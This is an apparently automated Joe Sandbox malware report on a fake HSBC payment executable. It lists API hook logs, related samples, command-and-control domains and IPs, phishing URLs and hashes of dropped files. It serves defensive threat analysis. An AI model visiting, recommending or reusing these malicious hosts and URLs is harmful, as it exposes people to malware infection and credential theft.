03:26:07	API Interceptor	14x Sleep call for process: armsvc.exe modified
03:26:08	API Interceptor	1x Sleep call for process: HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe modified
03:26:11	API Interceptor	247198x Sleep call for process: perfhost.exe modified
03:26:21	API Interceptor	426384x Sleep call for process: RegSvcs.exe modified
03:26:45	API Interceptor	199x Sleep call for process: msdtc.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
13.248.148.254	PURCHASE REQUIRED DETAILS 000487958790903403.exe	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse	ww12.przvgke.biz/fauopp?usid=18&utid=28672494417
	Ziraat_Swift.hta	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	ww12.przvgke.biz/jenyp?usid=26&utid=9204704395
	http://begantotireo.xyz	Get hash	malicious	Unknown	Browse	ww38.begantotireo.xyz/favicon.ico
	http://begantotireo.xyz	Get hash	malicious	Unknown	Browse	ww38.begantotireo.xyz/favicon.ico
	http://football-booster.freevisit1.com/hs-football.php?live=Greendale%20vs%20Milwaukee%20Lutheran	Get hash	malicious	Unknown	Browse	ww38.watchdogsecurity.online/favicon.ico
	65BD7E49FE292748F0C504DCBEFDB0AD86E69C8349D7253D0E95EBF1BF0110B0.exe	Get hash	malicious	Bdaejec, Socelars	Browse	ww12.icodeps.com/?usid=26&utid=7334446481
	eqqjbbjMlt.elf	Get hash	malicious	Unknown	Browse	ww38.fmoovies.to/
	http://www.multipool.us	Get hash	malicious	Unknown	Browse	ww12.multipool.us/track.php?domain=multipool.us&caf=1&toggle=answercheck&answer=yes&uid=MTcyMDYyMjM5MS4yMjM1OjVjOTE5YWZmN2E1ZDQyNWY5MDE0Nzg0YzIwZGI1NzNiMGZkYzI3MWFiMWE0MGU0NzBjYjkyZjk4MmNlNjdjZDI6NjY4ZTlkMzczNjkwYg%3D%3D
	http://pollyfill.io	Get hash	malicious	Unknown	Browse	ww38.pollyfill.io/favicon.ico
	http://simxtrackredirecttszz.pages.dev/	Get hash	malicious	Unknown	Browse	ww12.ngelit.com/favicon.ico
149.154.167.220	DEC 2024 RFQ.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	Itaxyhi.exe	Get hash	malicious	Phemedrone Stealer	Browse
	https://google.com/amp/%F0%9F%84%B8%F0%9F%84%BF%F0%9F%84%B5%F0%9F%85%82.%E2%93%98%E2%93%9E/ipfs/bafybeidf2ghv5vakeqlcqqvzfsett7uzseqmmutnuaestozqiouef2rq2y#XFrank.Albano@lcatterton.com	Get hash	malicious	HTMLPhisher	Browse
	Confirm revised invoice to proceed with payment ASAP.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	17338478743bbe929069f09b2fd43b475a3f9c5d7b9e72f9a2a5695318d73f4c494b80d40d501.dat-decoded.exe	Get hash	malicious	SugarDump, XWorm	Browse
	Bank Swift and SOA PRN0072700314159453_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Get hash	malicious	MassLogger RAT	Browse
	ST07933.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx .exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	Hesap_Hareketleri_10122024_html.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
44.221.84.105	HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Get hash	malicious	MassLogger RAT	Browse	saytjshyf.biz/peioi
	PURCHASE REQUIRED DETAILS 000487958790903403.exe	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse	npukfztj.biz/cbecuogqej
	Ziraat_Swift.hta	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	saytjshyf.biz/bkq
	invoice_96.73.exe	Get hash	malicious	FormBook	Browse	jhvzpcfg.biz/tgcwttfqletfhyq
	Order SMG 201906 20190816order.pdf.scr.exe	Get hash	malicious	AgentTesla, MassLogger RAT, PureLog Stealer	Browse	hehckyov.biz/ircdert
	C6dAUcOA6M.exe	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	hehckyov.biz/xc
	PO #09465610_GQ 003745_SO-242000846.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	saytjshyf.biz/xyvnmtdiyfgocm
	IBKB.vbs	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	jhvzpcfg.biz/qehuuaxgtrfd
	Ziraat_Bankasi_Swift_Mesaji_BXB04958T.cmd	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	hehckyov.biz/of
	Ziraat_Bankasi_Swift_Mesaji_DXB04958T.cmd	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	hehckyov.biz/sdgvcmfo

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
przvgke.biz	RFQ_PO N89397-GM7287-Order.bat.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	172.234.222.138
	invoice_96.73.exe	Get hash	malicious	FormBook	Browse	172.234.222.143
	Order SMG 201906 20190816order.pdf.scr.exe	Get hash	malicious	AgentTesla, MassLogger RAT, PureLog Stealer	Browse	172.234.222.143
	C6dAUcOA6M.exe	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	172.234.222.143
	PO #09465610_GQ 003745_SO-242000846.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	172.234.222.143
	IBKB.vbs	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	172.234.222.143
	Ziraat_Bankasi_Swift_Mesaji_BXB04958T.cmd	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	172.234.222.143
vjaxhpbji.biz	HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Get hash	malicious	MassLogger RAT	Browse	82.112.184.197
	PURCHASE REQUIRED DETAILS 000487958790903403.exe	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse	82.112.184.197
	Ziraat_Swift.hta	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	82.112.184.197
	RFQ_PO N89397-GM7287-Order.bat.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	82.112.184.197
	invoice_96.73.exe	Get hash	malicious	FormBook	Browse	82.112.184.197
	Order SMG 201906 20190816order.pdf.scr.exe	Get hash	malicious	AgentTesla, MassLogger RAT, PureLog Stealer	Browse	82.112.184.197
	C6dAUcOA6M.exe	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	82.112.184.197
	PO #09465610_GQ 003745_SO-242000846.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	82.112.184.197
	IBKB.vbs	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	82.112.184.197
	Ziraat_Bankasi_Swift_Mesaji_BXB04958T.cmd	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	82.112.184.197
ssbzmoy.biz	Request for Quotation.exe	Get hash	malicious	FormBook	Browse	18.141.10.107
	HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Get hash	malicious	MassLogger RAT	Browse	18.141.10.107
	PURCHASE REQUIRED DETAILS 000487958790903403.exe	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse	18.141.10.107
	RFQ _ Virtue 054451000085.exe	Get hash	malicious	FormBook	Browse	18.141.10.107
	Ziraat_Swift.hta	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	18.141.10.107
	RFQ_PO N89397-GM7287-Order.bat.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	18.141.10.107
	Ziraat_Bankasi_Swift_Mesaji_BXB04958T.exe	Get hash	malicious	AgentTesla, MassLogger RAT, PureLog Stealer	Browse	18.141.10.107
	invoice_96.73.exe	Get hash	malicious	FormBook	Browse	18.141.10.107
	Order SMG 201906 20190816order.pdf.scr.exe	Get hash	malicious	AgentTesla, MassLogger RAT, PureLog Stealer	Browse	18.141.10.107
	C6dAUcOA6M.exe	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	18.141.10.107
knjghuig.biz	HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Get hash	malicious	MassLogger RAT	Browse	18.141.10.107
	PURCHASE REQUIRED DETAILS 000487958790903403.exe	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse	18.141.10.107
	Ziraat_Swift.hta	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	18.141.10.107
	invoice_96.73.exe	Get hash	malicious	FormBook	Browse	18.141.10.107
	Order SMG 201906 20190816order.pdf.scr.exe	Get hash	malicious	AgentTesla, MassLogger RAT, PureLog Stealer	Browse	18.141.10.107
	C6dAUcOA6M.exe	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	18.141.10.107
	PO #09465610_GQ 003745_SO-242000846.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	18.141.10.107
	IBKB.vbs	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	18.141.10.107
	Ziraat_Bankasi_Swift_Mesaji_BXB04958T.cmd	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	18.141.10.107

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ORACLE-BMC-31898US	Confirm revised invoice to proceed with payment ASAP.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	193.122.6.168
	Josho.ppc.elf	Get hash	malicious	Unknown	Browse	140.238.49.71
	Malzeme #U0130stek Formu_12102024.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
	Request for quote.doc	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	REQUEST FOR QUOATION AND PRICES 0108603076-24_pdf.exe	Get hash	malicious	GuLoader	Browse	193.122.6.168
	Bank Swift and SOA PRN0072700314159453_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	193.122.6.168
	HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.6.168
	fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx .exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
	New_Order_List.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168
	Request for Quotation_10.12.2024.exe	Get hash	malicious	MassLogger RAT	Browse	158.101.44.242
TELEGRAMRU	DEC 2024 RFQ.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Itaxyhi.exe	Get hash	malicious	Phemedrone Stealer	Browse	149.154.167.220
	https://google.com/amp/%F0%9F%84%B8%F0%9F%84%BF%F0%9F%84%B5%F0%9F%85%82.%E2%93%98%E2%93%9E/ipfs/bafybeidf2ghv5vakeqlcqqvzfsett7uzseqmmutnuaestozqiouef2rq2y#XFrank.Albano@lcatterton.com	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	Confirm revised invoice to proceed with payment ASAP.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	17338478743bbe929069f09b2fd43b475a3f9c5d7b9e72f9a2a5695318d73f4c494b80d40d501.dat-decoded.exe	Get hash	malicious	SugarDump, XWorm	Browse	149.154.167.220
	Bank Swift and SOA PRN0072700314159453_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	ST07933.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx .exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Hesap_Hareketleri_10122024_html.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
AMAZON-AESUS	https://zsuqwplt.cdrj.com.br/bfackjemFpbmFiLmFscmFobWFAZWphZGFoLmFlqmgtsj	Get hash	malicious	Unknown	Browse	35.173.69.207
	http://www.topbuildersolutions.net/clickthrough.aspx?rurl=https://search.app/?link=https://ZSUQWPLT.%63%64%72%6A%2E%63%6F%6D%2E%62%72%2FbfackjemFpbmFiLmFscmFobWFAZWphZGFoLmFlqmgtsj&eid=4070	Get hash	malicious	Unknown	Browse	54.196.244.37
	http://www.topbuildersolutions.net/clickthrough.aspx?rurl=https://search.app/?link=https://ARIQNEUB.cdrj.com.br%2Fxpkjxic2FidS5qb2huQGp1bWVpcmFoLmNvbQ==nishhe&eid=4070	Get hash	malicious	Unknown	Browse	35.173.69.207
	https://login.hr-internal.co/27553be9ed867726?l=50	Get hash	malicious	Unknown	Browse	3.5.68.128
	EFT Remittance_(Deerequipment)CQDM.html	Get hash	malicious	Unknown	Browse	54.156.21.112
	https://cbthz04.na1.hs-sales-engage.com/Ctc/WX+23284/cbtHZ04/JlY2-6qcW95jsWP6lZ3mVW5xSkdC387hZlVGwpQc3P-q7wW4XgB4f44hCn1W3xYp5D6c1ttLW5FlJm432C9CFN1DvHyz7sRM3W1xbpQP3rjw57VdgQ8b5y5ncrN49hcz4pvY25W96rvby79_LjyW2hcbt-9lVY_PW61b5ZB17S04cW1Q1Z0m1qr_XnW4-Nvh_3JShBfW6ZlQ2B7-rTd7W5m54Pt4FXHVhN8f7LcVPRggDW6t0wZX12kCc8W8SWxd-65BfMKN89z7Dpr6bFRW62hqfp7800yqW6mjxRN41FPzSV9Cmrg5cL__SW36PjDN1zwkS6W21jP9H8v9kL6W995dJp10hcCRVsGjCC5n0FZjN7sg51mKQ1rDW15tQ1c3HKBShW818lp-6tdDqnf2cjw2s04	Get hash	malicious	Unknown	Browse	3.94.50.129
	Josho.ppc.elf	Get hash	malicious	Unknown	Browse	44.221.119.255
	hax.x86.elf	Get hash	malicious	Mirai	Browse	18.211.48.222
	hax.m68k.elf	Get hash	malicious	Mirai	Browse	18.209.81.116
	hax.arm.elf	Get hash	malicious	Mirai	Browse	54.242.22.180
AMAZON-02US	https://advertising-case-id419348.d1yaxxd8bf42y5.amplifyapp.com/	Get hash	malicious	Unknown	Browse	108.158.75.45
	arm7.elf	Get hash	malicious	Unknown	Browse	34.249.145.219
	sh4.elf	Get hash	malicious	Unknown	Browse	54.171.230.55
	x86.elf	Get hash	malicious	Unknown	Browse	54.171.230.55
	6dKYHqbvOm.exe	Get hash	malicious	Njrat	Browse	35.158.159.254
	la.bot.sparc.elf	Get hash	malicious	Mirai	Browse	54.171.230.55
	la.bot.mips.elf	Get hash	malicious	Mirai	Browse	54.171.230.55
	la.bot.arm.elf	Get hash	malicious	Mirai	Browse	54.171.230.55
	CJE003889.exe	Get hash	malicious	FormBook	Browse	13.228.81.39
	http://dcr0eadbm64ph.cloudfront.net/IDCVt99WXiQU.exe	Get hash	malicious	Poisonivy	Browse	54.200.239.173

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	DEC 2024 RFQ.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	172.67.177.134
	Itaxyhi.exe	Get hash	malicious	Phemedrone Stealer	Browse	172.67.177.134
	file.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.177.134
	Confirm revised invoice to proceed with payment ASAP.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	172.67.177.134
	REQUEST FOR QUOATION AND PRICES 0108603076-24_pdf.exe	Get hash	malicious	GuLoader	Browse	172.67.177.134
	Bank Swift and SOA PRN0072700314159453_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	172.67.177.134
	HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Get hash	malicious	MassLogger RAT	Browse	172.67.177.134
	ST07933.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	172.67.177.134
	fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx .exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	172.67.177.134
	New_Order_List.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.177.134
3b5074b1b5d032e5620f69f9f700ff0e	QUOTATION#08670.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	DEC 2024 RFQ.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	apDMcnqqWs.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	e8YDxjwJiT.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	TlNDyT2f5c.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	Itaxyhi.exe	Get hash	malicious	Phemedrone Stealer	Browse	149.154.167.220
	Aclatis tool.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	Aclatis tool.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	Confirm revised invoice to proceed with payment ASAP.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1508864
Entropy (8bit):	4.874504526124143
Encrypted:	false
SSDEEP:	24576:aHCAR0it/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:aCAhLNiXicJFFRGNzj3
MD5:	DBCBBFDADE8D1C9A7B26F9A182EF5A9D
SHA1:	C0965F7D2843DD912911BE9E30B790E359732CFC
SHA-256:	5A30BE768A45D5FEAD76C219DC29B2BE9F9FD311CC0AC06D8D86D2430C427FD8
SHA-512:	83874AF57A4196DFCE06B6726C35D541E47B83E514CF3675054C1D3377836B52581336BB274ED7DA6B610C8D0B216EF204FD72C416B72684E1248E02F0F0B130
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........S.~.2.-.2.-.2.-n.G-.2.-n.E-J2.-n.D-.2.-.Z.,.2.-.Z.,.2.-.Z.,.2.-.J%-.2.-.2.-.2.-.[.,.2.-.[I-.2.-.2!-.2.-.[.,.2.-Rich.2.-........................PE..L...g.(c.....................6......&........0....@........................................................................,b..<....p...............................L..8............................L..@............0..,............................text............................... ..`.rdata...8...0...:..."..............@..@.data........p.......\..............@....rsrc....`...p.......f..............@...................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\AutoIt3\Au3Info.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1450496
Entropy (8bit):	4.816181180123465
Encrypted:	false
SSDEEP:	24576:1C/Kgw/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:NLNiXicJFFRGNzj3
MD5:	992BFDCDC47C785EFB6D415557204BD1
SHA1:	A5C7928689CC1FCE0864A9456247DA9250D5B60F
SHA-256:	318796B39C057826C392619CC327CA1887EF474FD4759CC1D1D79EC596ED286D
SHA-512:	9249EF7BEE9075F6A8635FCC9302303B4B8C735C27179D7B9471BB36132480C9C1DE5F7AB7E7A8C81B0130F48CC1D01E45C6C3C5BF26142BCA26DCE9BE414DBD
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........jZ..9Z..9Z..9...9Q..9...9%..9...9B..9...8r..9...8K..9...8H..9S.x9W..9Z..9..9...8]..9...9[..9Z.\|9[..9...8[..9RichZ..9........PE..L...C.(c.........."......:...........\.......P....@...........................-.............................................$...........0..............................8...............................@............P...............................text...19.......:.................. ..`.rdata...\|...P...~...>..............@..@.data...............................@....rsrc...0...........................@..@.reloc...p...`.......r..............@...........................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1469952
Entropy (8bit):	4.815396117315849
Encrypted:	false
SSDEEP:	24576:xKdHx/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:sdRLNiXicJFFRGNzj3
MD5:	D3B6F2DBE813FAB1527E57BF44649E70
SHA1:	18C43FF0B908F535DCAA846F2C4FD5FAF630334E
SHA-256:	EF2111B59D3A4C255C6335D49E644790685A96AF67025758EAB96A5D815A18CE
SHA-512:	CB1B902C8BC2FCD54BF31EBF877ED43E627243748F900FFE137DA0BE730019FFB4C6FC5855509EFA894E97CC3E819DE0EB08238306D4B8AB55789285F10D5935
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........9..X...X...X..-....X..-....X..-....X...0...X...0...X...0...X... n..X...X..YX..<1.X..<1...X...Xj..X..<1...X..Rich.X..........................PE..d...G.(c.........."......J...^......Tr.........@.............................0............ .................................................,........ ..0...............................8............................................`..`............................text....H.......J.................. ..`.rdata.......`.......N..............@..@.data........ ......................@....pdata..............................@..@.rsrc...0.... ......."..............@..@.reloc...`..........................@...................................................................................................................................................................................................................................

C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2203136
Entropy (8bit):	7.642493741465371
Encrypted:	false
SSDEEP:	49152:NK0eqkSR7Xgo4TiRPnLWvJpLNiXicJFFRGNzj3:NK0pR7Xn4TiRCvJp7wRGpj3
MD5:	9FE5EF1D640F7A7F375A585E86DED930
SHA1:	575EFBD757A75C529D0C7A7963D0897E7223E9C3
SHA-256:	590D0D1778236C37E37646BDA5158673C282AACF0E20E79660CE1375A6DBDF66
SHA-512:	7B04A4756999CCE7E93D6E09AF57CE21CA33C17D04171A6A0106A2412758BC17A9E23A5D9A8CFD80BD878C9E32F626739301349AF71B4D1396D0854642ED1585
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...................Y;6....Y;4.x...Y;5...........................D......T...........H......H.8.....P....H......Rich...................PE..L...9.(c..........#..................d............@...........................".....Y."..............................................p..X...............................p...............................@...............X............................text.............................. ..`.rdata..$H.......J..................@..@.data....@... ......................@....rsrc........p......................@...................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2369024
Entropy (8bit):	7.561294403290172
Encrypted:	false
SSDEEP:	49152:rfYP1JsEDkSR7Xgo4TiRPnLWvJpLNiXicJFFRGNzj3:DYPBR7Xn4TiRCvJp7wRGpj3
MD5:	005A7984514B3064CFC667ED1FF7F46C
SHA1:	6083663C8B262CB5BBBE9AFA47B2A52C277FA399
SHA-256:	493D765648D814DF97E4556C2E377B7B05AEBDA6B86693A88C236074182B57D8
SHA-512:	2F29D329AF7838E37EA29EC48972FD7998D94D6BA17BB8D4CFA8CEBFEBB86655ECFBAF94361DF020504BBF47FEB6315BD3F21EDCFB30CC5DC10672DAD43F79AC
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......<y..x...x...x....~.s....\|......}.a...p..i...p..p...*p..H...q`..z...q`..a...x...s....q..[....qp.y...x...z....q..y...Richx...........PE..d...>.(c..........#..........0......(..........@..............................$.......$... .............................................................X........e...................n..p...................0p..(...0o...............0...............................text............................... ..`.rdata.......0......."..............@..@.data....R...0... ... ..............@....pdata...e.......f...@..............@..@.rsrc...............................@...................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1400832
Entropy (8bit):	4.6512382171115005
Encrypted:	false
SSDEEP:	24576:kYUcknT/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:kZcknTLNiXicJFFRGNzj3
MD5:	A41D2B72B5BF0B64B1F4360F9097C445
SHA1:	B5A54819A5E4B0954D8234BA8901FA423A61544F
SHA-256:	97A078A0CE2F44103F1EEFF8E3A11C5CCB5ED44E54E14FCF3EBF87254797ED10
SHA-512:	193B93A10233148202CFE24C5AF7612E94B6431027555B6BAFBC811A1CF0C108BF83996BDBA86B2F03E151B92772E82B864D34F3F3DDA677EE28526C54952486
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........[m..5>..5>..5>OC.>..5>OC.>..5>OC.>..5>..0?..5>..1?..5>..6?..5>.>..5>..4>..5>.>..5>^.<?..5>^..>..5>..>..5>^.7?..5>Rich..5>........................PE..L.....(c..........................................@..........................P .....T........................................%..d....P.................................8...............................@...............t............................text.............................. ..`.rdata...^.......`..................@..@.data...l....0....... ..............@....rsrc.......P.......*..............@..@.reloc...p..........................@...................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1640448
Entropy (8bit):	7.1594749367024235
Encrypted:	false
SSDEEP:	49152:u56AqSPyC+NltpScpzbtvpJoMQSq/jrQaSFLNiXicJFFRGNzj3:ZSktbpT7wRGpj3
MD5:	11E58BD4B3DA477E45FEB2EAD308654F
SHA1:	306B0E8FCC671501C5458DB8263A20351D4CFA8A
SHA-256:	CC7F8157789CB4EF4FBE299FFFC5FF78C454912A11B4710D766197BC0EE91B07
SHA-512:	2816D127E2D1C937512F003DE44DB4CE1592C51B5DCBED7A09B19ADF7624F126BB9F7DE8ACCDE832509A9CCB7A80344E8A0CAAFC0FA403A4CDB218F756840669
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......}0tp9Q.#9Q.#9Q.#...#,Q.#...#.Q.#...#.Q.#...#8Q.#k9.".Q.#k9."(Q.#k9."1Q.#0).#1Q.#0).#8Q.#0).#.Q.#9Q.#.S.#.8."hQ.#.8."8Q.#.8.#8Q.#9Q.#;Q.#.8."8Q.#Rich9Q.#........PE..d...3.(c.........."......H...*.......Z.........@.......................................... ...@...............@..............................l..\|.......P....P...o.................. .......................p...(...@................`..8............................text...<G.......H.................. ..`.rdata..\|B...`...D...L..............@..@.data... ........P..................@....pdata...o...P...p..................@..@.rsrc...P............P..............@..@.reloc...............(..............@...................................................................................................................................................................................................................

C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2953728
Entropy (8bit):	7.089725551027659
Encrypted:	false
SSDEEP:	49152:lGSXoV72tpV9XE8Wwi1aCvYMdjluS/fYw44RxLqLNiXicJFFRGNzj3:54OEtwiICvYM3fK7wRGpj3
MD5:	8AD00390CBCF31E4B7B955FB18653A01
SHA1:	2147858B2922B6C55B7B4E3AA4168BD0E7B97DF4
SHA-256:	FD2D34B1EDCBD3CE103DF0FF5E8F3D39838F5DF81EBB1B2605D1907052337918
SHA-512:	DB2277A4A54DC55AC20B8F44E88C1DBDF2D656AA48A6E631660337BD026E46CCE133C2C3BFAA20EB94CD086017BDD2A27A622577C72137D487E0471D3B29BA29
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........Ark.Ark.Ark...o.Mrk...h.Jrk...n.^rk...j.Erk.H...Brk.H...nrk.Arj..pk...b.rk...k.@rk.....@rk...i.@rk.RichArk.........................PE..L.....(c.....................~....................@..........................P-......E-.............................p...<............@ .............................@...p...................P...........@............................................text...e........................... ..`.rdata...^.......`..................@..@.data...`....0......................@....rsrc........@ ....... .............@..@.reloc.......P#......"#.............@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1641472
Entropy (8bit):	5.075015367587746
Encrypted:	false
SSDEEP:	24576:hAMvR+3kMbVjh9/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:mE+lbVjh9LNiXicJFFRGNzj3
MD5:	38EB34A3EB5C9348F736F4757239BB79
SHA1:	4E7FA780E8B866F9F09C47ED053225929DDF8C8B
